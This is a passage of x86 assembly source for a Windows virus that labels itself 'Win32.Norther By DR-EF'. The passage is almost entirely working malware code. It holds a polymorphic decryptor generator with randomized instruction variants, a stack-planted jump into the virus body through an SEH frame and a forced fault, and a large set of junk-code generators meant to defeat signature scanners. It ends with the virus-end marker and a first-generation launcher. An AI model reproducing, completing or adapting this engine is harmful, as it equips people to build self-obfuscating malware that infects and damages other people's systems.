ptr [edi],0fe87h ;xchg edi esi add edi,2h call WriteJunkCode mov word ptr [edi],0f78bh ;mov esi,edi add edi,2h jmp retins3 ins3_3: mov word ptr [edi],0f787h ;xchg edi esi add edi,2h call WriteJunkCode mov word ptr [edi],0f78bh ;mov esi,edi add edi,2h retins3:ret WriteInstruction4: ;this function set ecx with the size of the virus in dwords call GenRandomNumber mov ebx,SizeOfDataToEncrypt and eax,0ffh cmp eax,33h ja ins4_1 mov byte ptr [edi],0b9h ;mov ecx,sizeofvirusindwords mov dword ptr [edi + 1],ebx add edi,5h jmp retins4 ins4_1: cmp eax,66h ja ins4_2 mov byte ptr [edi],68h ;push sizeofvirusindwords mov dword ptr [edi + 1],ebx add edi,5h call WriteJunkCode mov byte ptr [edi],59h ;pop ecx inc edi jmp retins4 ins4_2: cmp eax,99h ja ins4_3 mov word ptr [edi],0c933h ;xor ecx,ecx add edi,2h push ebx call WriteJunkCode pop ebx call _ins4orecxval jmp retins4 ins4_3: cmp eax,0cch ja ins4_4 mov word ptr [edi],0c92bh ;sub ecx,ecx add edi,2h push ebx call WriteJunkCode pop ebx call _ins4orecxval jmp retins4 ins4_4: not ebx mov byte ptr [edi],0b9h ;mov ecx,not sizeofvirusindwords mov dword ptr [edi + 1],ebx add edi,5h call WriteJunkCode mov word ptr [edi],0d1f7h add edi,2h retins4:ret _ins4orecxval: mov word ptr [edi],0c981h mov dword ptr [edi + 2],ebx add edi,6h ret WriteInstruction5: ;this function read 4 bytes from [esi] into eax ;and add to esi register 4 (if there is need to do so). call GenRandomNumber and eax,12ch cmp eax,64h ja ins5_1 mov byte ptr [edi],0adh ;lodsd inc edi jmp retins5 ins5_1: cmp eax,0c8h ja ins5_2 mov word ptr [edi],068bh ;mov eax,dword ptr [esi] add edi,2h call _ins5addesi4 jmp retins5 ins5_2: mov word ptr [edi],36ffh ;push dword ptr [esi] add edi,2h call WriteJunkCode mov byte ptr [edi],58h ;pop eax inc edi call _ins5addesi4 retins5:ret _ins5addesi4: ;this function write add to esi register 4 call GenRandomNumber and eax,64h cmp eax,32h ja addesi4_2 mov word ptr [edi],0c683h ;way 1 mov byte ptr [edi + 2],4h ;add esi,4h add edi,3h jmp raddesi addesi4_2: mov ecx,4h ;way 2 @incesi:mov byte ptr [edi],46h inc edi call WriteJunkCode loop @incesi raddesi:ret WriteInstruction6: ;this function decrypt the value of eax mov ebx,dword ptr [ebp + key] cmp byte ptr [ebp + EncryptionMethod],1h jne ins6_1 mov word ptr [edi],0d0f7h ;not eax add edi,2h jmp retins6 ins6_1: cmp byte ptr [ebp + EncryptionMethod],2h jne ins6_2 mov byte ptr [edi],2dh ;sub eax,key mov dword ptr [edi + 1],ebx add edi,5h jmp retins6 ins6_2: cmp byte ptr [ebp + EncryptionMethod],3h jne ins6_3 mov byte ptr [edi],05h ;add eax,key mov dword ptr [edi + 1],ebx add edi,5h jmp retins6 ins6_3: mov byte ptr [edi],35h mov dword ptr [edi + 1],ebx ;xor eax,key add edi,5h jmp retins6 retins6:ret WriteInstruction7: ;this function copy the value of eax to [edi] call GenRandomNumber and eax,258h cmp eax,0c8h ja ins7_1 mov byte ptr [edi],0abh ;stosd inc edi jmp retins7 ins7_1: cmp eax,190h ja ins7_2 mov word ptr [edi],0789h ;mov dword ptr [edi],eax add edi,2h call WriteJunkCode call addedi4 jmp retins7 ins7_2: mov byte ptr [edi],50h ;push eax inc edi call WriteJunkCode mov word ptr [edi],078fh ;pop dword ptr [edi] add edi,2h call addedi4 retins7:ret addedi4: call GenRandomNumber and eax,12ch cmp eax,96h ja _addedi4 mov word ptr [edi],0c783h mov byte ptr [edi + 2],4h add edi,3h jmp retins7a _addedi4: mov ecx,4h @incedi:mov byte ptr [edi],47h ;inc edi inc edi call WriteJunkCode loop @incedi retins7a:ret WriteInstruction8: ;this function write the loop instruction of the decryptor call GenRandomNumber and eax,12ch cmp eax,96h ja ins8_1 mov byte ptr [edi],49h ;dec ecx inc edi call WriteJunkCode mov word ptr [edi],0f983h mov byte ptr [edi + 2],0h ;cmp ecx,0h add edi,3h mov eax,dword ptr [ebp + PolyBuffer] sub eax,edi mov byte ptr [edi],75h ;jne sub eax,2h mov byte ptr [edi + 1],al add edi,2h jmp retins8 ins8_1: mov eax,dword ptr [ebp + PolyBuffer] sub eax,edi mov byte ptr [edi],0e2h ;loop sub eax,2h mov byte ptr [edi + 1],al add edi,2h retins8:ret WriteInstruction9: ;this istruction write a code in the stack,that jump into virus code call GenRandomNumber mov ebx,[ebp + StartOfDataToEncrypt] sub ebx,[ebp + mapbase] add ebx,[ebp + ProgramImageBase] add ebx,[ebp + FixRVA] ;offset to jump mov dword ptr [ebp + push_and_ret + 1],ebx ;save address ;push 'push offset' & 'ret' instructions to the stack ;way 1: ; push xxx ; push xxx ;way 2: ; mov reg,xxx ; push reg ; mov reg,xxx ; push reg ;way 3: ; mov reg,xored xxx ; push reg ; xor dword ptr [esp],xored val ; mov reg,xored xxx ; push reg ; xor dword ptr [esp],xored val ;------------------------------------------------------ and eax,4b0h cmp eax,190h ja I9_A xor ecx,ecx ;way 1 !!! mov cx,word ptr [ebp + push_and_ret+4] mov byte ptr [edi],68h mov dword ptr [edi + 1h],ecx ;gen push xxx add edi,5h call WriteJunkCode xor ecx,ecx mov ecx,dword ptr [ebp + push_and_ret] mov byte ptr [edi],68h mov dword ptr [edi +1h],ecx ;gen push xxx add edi,5h jmp I9_Exit I9_A: cmp eax,320h ja I9_B xor eax,eax mov ax,word ptr [ebp + push_and_ret+4] call GenMoveAndPush xor eax,eax mov eax,dword ptr [ebp + push_and_ret] call GenMoveAndPush jmp I9_Exit I9_B: call GenRandomNumber xchg ebx,eax xor eax,eax mov ax,word ptr [ebp + push_and_ret+4] xor eax,ebx call GenMoveAndPush call _WriteJunkCode mov al,81h stosb mov ax,2434h stosw xchg ebx,eax push eax stosd xor eax,eax mov eax,dword ptr [ebp + push_and_ret] xor eax,dword ptr [esp] call GenMoveAndPush call _WriteJunkCode pop ebx mov al,81h stosb mov ax,2434h stosw xchg ebx,eax stosd I9_Exit: Call WriteJunkCode ;gen a SEH frame that jump into the stack ;---------------------------------------- ;gen 'push esp' ;way 1: ; push esp ;way 2: ; mov reg,esp ; push reg ;------------------------------------------ call GenRandomNumber and eax,4b0h ;get number between 0 ~ 1200 cmp eax,258h ja _PushEsp1 mov al,54h ;push esp stosb jmp ___1__ _PushEsp1: call GenRandomNumber ;way 2: and eax,7h ;move reg,esp push eax ;push reg mov ecx,8h mul ecx xchg al,ah add ah,0c4h mov al,8bh stosw call _WriteJunkCode pop eax add al,50h stosb ___1__: call WriteJunkCode ;gen 'push dword ptr fs:[0]' ;way 1: ; push dword ptr fs:[0] ;way 2: ; xor/sub reg,reg ; push dword ptr fs:[reg] ;way 3: ; xor/sub reg,reg ; push dword ptr fs:[reg+reg] ;-------------------------------------------- call GenRandomNumber and eax,4b0h cmp eax,190h ja _nW mov eax,36FF6764h stosd xor eax,eax stosw jmp NextIns _nW: cmp eax,320h ja _nW2 call GenEmptyReg push ecx call _WriteJunkCode pop ecx sub ch,0c0h xor eax,eax mov al,ch mov ecx,9h div ecx xchg al,cl mov ax,0ff64h stosw xchg al,cl add al,30h stosb jmp NextIns _nW2: call GenEmptyReg push ecx call _WriteJunkCode pop ecx sub ch,0c0h xchg ah,ch mov al,34h shl eax,10h mov ax,0ff64h stosd NextIns: call WriteJunkCode ;gen 'mov fs:[0],esp ;way 1: ; mov fs:[0],esp ;way 2: ; xor/sub reg,reg ; mov fs:[reg],esp ;way 3: ; mov reg,esp ; mov fs:[0],reg ;--------------------------------------------- call GenRandomNumber and eax,4b0h cmp eax,190h ja __nW1 mov eax,26896764h stosd xor eax,eax stosw jmp GenF __nW1: cmp eax,320h ja __nW2 call GenEmptyReg sub ch,0c0h push ecx call _WriteJunkCode pop ecx xor eax,eax mov al,ch mov ecx,9h div ecx push eax mov ax,8964h stosw pop eax add al,20h stosb jmp GenF __nW2: call GenMovRegEsp push ecx call _WriteJunkCode pop ecx add cl,0eh mov eax,89676400h mov al,cl ror eax,8h stosd xor eax,eax stosw GenF: ;gen 'page fault',in order to jump ;way 1: ; int 3 ;way 2: ; ud2 -> undefine instruction (0fh,0bh) ;way 3: ; mov ecx,0\xor ecx,ecx\sub ecx\ecx ; div ecx ;-------------------------------------------------------- call GenRandomNumber and eax,384h cmp eax,12ch ja _F_1 mov al,0cch stosb jmp ExitGF _F_1: cmp eax,258h ja _F_2 mov ax,0b0fh stosw jmp ExitGF _F_2: call GenRandomNumber and eax,384h cmp eax,12ch ja _ecx0_1 mov al,0b9h stosb xor eax,eax stosd jmp div_ecx _ecx0_1:cmp eax,258h ja _ecx0_2 mov ax,0c92bh stosw jmp div_ecx _ecx0_2:mov ax,0c933h stosw div_ecx:call WriteJunkCode mov ax,0f1f7h stosw ExitGF: ret ;instructions to generate in the stack: push_and_ret db 68h,0,0,0,0,0c3h _WriteJunkCode: ;gen junk code that dont destroy registers call GenRandomNumber and eax,5208h cmp eax,0bb8h ja _WJC1 call GenAndReg jmp ExitJC _WJC1: cmp eax,1770h ja _WJC2 call GenJump jmp ExitJC _WJC2: cmp eax,2328h ja _WJC3 call GenPushPop jmp ExitJC _WJC3: cmp eax,2ee0h ja _WJC4 call GenIncDec jmp ExitJC _WJC4: cmp eax,3a98h ja _WJC5 call GenMoveRegReg jmp ExitJC _WJC5: call OneByte ExitJC: ret ;output cl:reg id GenMovRegEsp: call GenRandomNumber and eax,00000600h mov ecx,8h mul ecx mov cl,ah add ah,0cch mov al,8bh stosw ret ;output ch:reg id GenEmptyReg: call GenRandomNumber xor ecx,ecx and eax,5208h cmp eax,0bb8h ja _ER mov ch,0c0h jmp _ER_ _ER: cmp eax,1770h ja _ER2 mov ch,0dbh jmp _ER_ _ER2: cmp eax,2328h ja _ER3 mov ch,0c9h jmp _ER_ _ER3: cmp eax,2ee0h ja _ER4 mov ch,0d2h jmp _ER_ _ER4: cmp eax,3a98h ja _ER5 mov ch,0ffh jmp _ER_ _ER5: mov ch,0f6h _ER_: call GenRandomNumber cmp ah,80h ja _ER__ mov cl,33h jmp _E_R _ER__: mov cl,2bh _E_R: mov ax,cx stosw ret GenMoveAndPush: push eax ;number to mov & push No_Esp: call GenRandomNumber and al,7h mov cl,al add al,0b8h cmp al,0bch je No_Esp stosb pop eax stosd push ecx call _WriteJunkCode ;gen junk between the mov and the push pop eax add al,50h stosb ret InitRandomNumber: call [ebp + GetTickCount] mov dword ptr [ebp + RandomNumber],eax ret RandomNumber dd 0 GenRandomNumber: ;a simple random num generator pushad mov eax,dword ptr [ebp + RandomNumber] and eax,12345678h mov cl,ah ror eax,cl add eax,98765abdh mov ecx,12345678h mul ecx add eax,edx xchg ah,al sub eax,edx mov dword ptr [ebp + RandomNumber],eax popad mov eax,dword ptr [ebp + RandomNumber] ret WriteJunkCode: call GenRandomNumber ;split this procedure and eax,3e8h ;to four procedure's cmp eax,0fah ;in order to give each ja _jnk1 ;junkcode the same chance call WriteJunkCode1 jmp ExitJunk _jnk1: cmp eax,1f4h ja _jnk2 call WriteJunkCode2 jmp ExitJunk _jnk2: cmp eax,2eeh ja _jnk3 call WriteJunkCode3 jmp ExitJunk _jnk3: call WriteJunkCode4 ExitJunk:ret WriteJunkCode1: call GenRandomNumber and eax,3e8h cmp eax,0fah ja _jnk_1 call GenAndReg ;1 jmp ExtJunk1 _jnk_1: cmp eax,1f4h ja _jnk_2 call GenJump ;2 jmp ExtJunk1 _jnk_2: cmp eax,2eeh ja _jnk_3 call GenPushPop ;3 jmp ExtJunk1 _jnk_3: call GenIncDec ;4 ExtJunk1:ret WriteJunkCode2: call GenRandomNumber and eax,3e8h cmp eax,0fah ja _jn_k1 call GenMoveRegReg ;5 jmp ExtJunk2 _jn_k1: cmp eax,1f4h ja _jn_k2 call GenAnd ;6 jmp ExtJunk2 _jn_k2: cmp eax,2eeh ja _jn_k3 call GenMove ;7 jmp ExtJunk2 _jn_k3: call GenPushTrashPopReg ;8 ExtJunk2:ret WriteJunkCode3: call GenRandomNumber and eax,3e8h cmp eax,0fah ja _j_nk1 call GenShrReg ;9 jmp ExtJunk3 _j_nk1: cmp eax,1f4h ja _j_nk2 call GenShlReg ;10 jmp ExtJunk3 _j_nk2: cmp eax,2eeh ja _j_nk3 call GenRorReg ;11 jmp ExtJunk3 _j_nk3: call GenRolReg ;12 ExtJunk3:ret WriteJunkCode4: call GenRandomNumber and eax,3e8h cmp eax,0fah ja __jnk1 call GenOrReg ;13 jmp ExtJunk4 __jnk1: cmp eax,1f4h ja __jnk2 call GenXorReg ;14 jmp ExtJunk4 __jnk2: cmp eax,2eeh ja __jnk3 call GenSubAddTrash ;15 jmp ExtJunk4 __jnk3: call OneByte ;16 ExtJunk4:ret GenAndReg: ;this function generate and reg,reg instruction call GenRandomNumber and eax,1f40h cmp eax,3e8h ja and2 mov ah,0c0h jmp exitand and2: cmp eax,7d0h ja and3 mov ah,0dbh jmp exitand and3: cmp eax,0bb8h ja and4 mov ah,0c9h jmp exitand and4: cmp eax,0fa0h ja and5 mov ah,0d2h jmp exitand and5: cmp eax,1388 ja and6 mov ah,0ffh jmp exitand and6: cmp eax,1770h ja and7 mov ah,0f6h jmp exitand and7: cmp eax,1b58h ja and8 mov ah,0edh jmp exitand and8: mov ah,0e4h exitand:mov al,23h stosw ret GenJump: ;this function generate do nothing condition jump call GenRandomNumber and eax,0fh add eax,70h stosw ret GenPushPop: ;this function generate push reg \ pop reg instruction call GenRandomNumber and eax,7h add eax,50h stosb add eax,8h stosb ret GenIncDec: ;this function generate:inc reg\dec reg or dec reg\inc reg instruction call GenRandomNumber cmp al,7fh ja decinc and eax,7h add eax,40h stosb add eax,8h stosb jmp exitincd decinc: and eax,7h add eax,48h mov byte ptr [edi],al stosb sub eax,8h mov byte ptr [edi],al stosb exitincd:ret GenMoveRegReg: ;gen mov reg,reg call GenRandomNumber and eax,1f40h cmp eax,3e8h ja mreg2 mov ah,0c0h jmp exitmreg mreg2: cmp eax,7d0h ja mreg3 mov ah,0dbh jmp exitmreg mreg3: cmp eax,0bb8h ja mreg4 mov ah,0c9h jmp exitmreg mreg4: cmp eax,0fa0h ja mreg5 mov ah,0d2h jmp exitmreg mreg5: cmp eax,1388 ja mreg6 mov ah,0ffh jmp exitmreg mreg6: cmp eax,1770h ja mreg7 mov ah,0f6h jmp exitmreg mreg7: cmp eax,1b58h ja mreg8 mov ah,0edh jmp exitmreg mreg8: mov ah,0e4h exitmreg: mov al,8bh stosw ret GenAnd: ;this function generate and ebx\edx\ebp,trash instruction call GenRandomNumber push eax cmp al,50h ja nand1 mov ah,0e3h jmp wand nand1: cmp al,0a0h ja nand2 mov ah,0e2h jmp wand nand2: mov ah,0e5h wand: mov al,81h stosw pop eax stosd ret GenMove: ;this function generate mov ebx\edx\ebp,trash instruction call GenRandomNumber push eax cmp al,50h ja nmov1 mov al,0bbh jmp wmov nmov1: cmp al,0a0h ja nmov2 mov al,0bah jmp wmov nmov2: mov al,0bdh wmov: stosb pop eax stosd ret GenPushTrashPopReg: ;this function generate push trash\ pop ebp\ebx\edx instruction call GenRandomNumber mov byte ptr [edi],68h inc edi stosd cmp al,55h ja nextpt mov byte ptr [edi],5dh jmp wpop nextpt: cmp al,0aah ja nextpt2 mov byte ptr [edi],5ah jmp wpop nextpt2:mov byte ptr [edi],5bh wpop: inc edi ret GenShrReg: ;gen shr unusedreg,num call GenRandomNumber mov byte ptr [edi],0c1h inc edi cmp al,50h ja nshr mov byte ptr [edi],0edh jmp wshr nshr: cmp al,0a0h ja nshr2 mov byte ptr [edi],0eah jmp wshr nshr2: mov byte ptr [edi],0ebh wshr: inc edi stosb ret GenShlReg: ;gen shl unusedreg,num call GenRandomNumber mov byte ptr [edi],0c1h inc edi cmp al,50h ja nshl mov byte ptr [edi],0e3h jmp wshl nshl: cmp al,0a0h ja nshl2 mov byte ptr [edi],0e2h jmp wshl nshl2: mov byte ptr [edi],0e5h wshl: inc edi stosb ret GenRorReg: ;gen ror unusedreg,num call GenRandomNumber mov byte ptr [edi],0c1h inc edi cmp al,50h ja nror mov byte ptr [edi],0cbh jmp wror nror: cmp al,0a0h ja nror2 mov byte ptr [edi],0cah jmp wror nror2: mov byte ptr [edi],0cdh wror: inc edi stosb ret GenRolReg: ;gen rol unusedreg,num call GenRandomNumber mov byte ptr [edi],0c1h inc edi cmp al,50h ja nrol mov byte ptr [edi],0c3h jmp wrol nrol: cmp al,0a0h ja nrol2 mov byte ptr [edi],0c2h jmp wrol nrol2: mov byte ptr [edi],0c5h wrol: inc edi stosb ret GenOrReg: ;gen or unusedreg,num call GenRandomNumber push eax mov al,81h cmp ah,50h ja nor mov ah,0cbh jmp wor nor: cmp ah,0a0h ja nor2 mov ah,0cah jmp wor nor2: mov ah,0cdh wor: stosw pop eax stosd ret GenXorReg: ;gen xor unusedreg,num call GenRandomNumber push eax mov al,81h cmp ah,50h ja nXor mov ah,0f3h jmp wXor nXor: cmp ah,0a0h ja nXor2 mov ah,0f2h jmp wXor nXor2: mov ah,0f5h wXor: stosw pop eax stosd ret GenSubAddTrash: ;gen add reg,num\sub reg,num noesp: call GenRandomNumber mov ebx,eax cmp al,80h ja sub_f and ah,7h add ah,0c0h cmp ah,0c4h je noesp mov al,81h stosw mov eax,ebx stosd mov eax,ebx and ah,7h add ah,0e8h mov al,81h stosw mov eax,ebx stosd jmp exitsa sub_f: and ah,7h add ah,0e8h cmp ah,0ech je noesp mov al,81h stosw mov eax,ebx stosd mov eax,ebx and ah,7h add ah,0c0h mov al,81h stosw mov eax,ebx stosd exitsa: ret OneByte: ;gen one byte do nothing instruction call GenRandomNumber cmp al,32h ja byte1 mov al,90h jmp end_get_byte byte1: cmp al,64h ja byte2 mov al,0f8h jmp end_get_byte byte2: cmp al,96h ja byte3 mov al,0f5h jmp end_get_byte byte3: cmp al,0c8h ja byte4 mov al,0f9h jmp end_get_byte byte4: mov al,0fch end_get_byte: stosb ret ;------------------------------------------------------------------------------------ db 10h dup(?) ;padding VirusEnd equ $ FirstGen: push 0h push offset Message push offset Title_ push 0h call MessageBoxA push 0h call GetModuleHandleA push eax call ExitProcess Message db "Win32.Norther By DR-EF",0 if DEBUG Title_ db "[Win32.Norther]",0 else Title_ db "[Win32.Norther] Relese Version",0 endif End Norther